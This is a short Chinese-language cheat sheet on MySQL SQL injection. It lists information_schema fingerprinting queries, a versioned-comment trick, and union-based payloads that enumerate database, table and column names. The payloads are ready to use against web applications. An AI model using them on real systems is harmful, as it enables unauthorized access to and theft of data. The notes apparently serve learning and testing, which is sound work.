SQL注入tips
一、相关sql语句信息
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
常用sql语句
1. SELECT USER(),SYSTEM_USER(),CURRENT_USER(),SESSION_USER();
-- 当前用户名及对应主机查询 函数值相同 可在特定函数被过滤的情况下用其他函数替换,以达到相同的目的
2. SELECT DATABASE(); -- 当前数据库名查询
3. SELECT VERSION(); -- 版本号查询
4. SELECT @@version; -- 版本号查询
5. SELECT @@basedir; -- 数据库根目录
6. SELECT @@datadir; -- mysql文件存放目录 该目录下1库对应1文件夹,1表对应3文件
7. SELECT @@version_compile_os; -- 操作系统
特殊用法:
1. SELECT * FROM users /*!22222 where id = 1*/;
-- 当MySQL当前版本号大于五位数时,注释会失效,此时只输出id=1的内容
2. SELECT * FROM users /*!88888 where id = 1*/;
-- 显示所有内容
3. SELECT VERSION(); -- 查看MySQL当前版本
二、SQL注入分类
①联合查询注入
点击查看代码
利用前提:页面上有显示位
优点:方便,快捷,易于利用
缺点:需要显示位
格式:
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3 --%20
SQL注入时默认输出第一行数据 ,保证第一行无数据(前面加-)则可输出第二行 或者用limit函数
获取所有数据库名:
union select 1,2,group_concat(schema_name) from information_schema.schemata --%20
获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20
获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20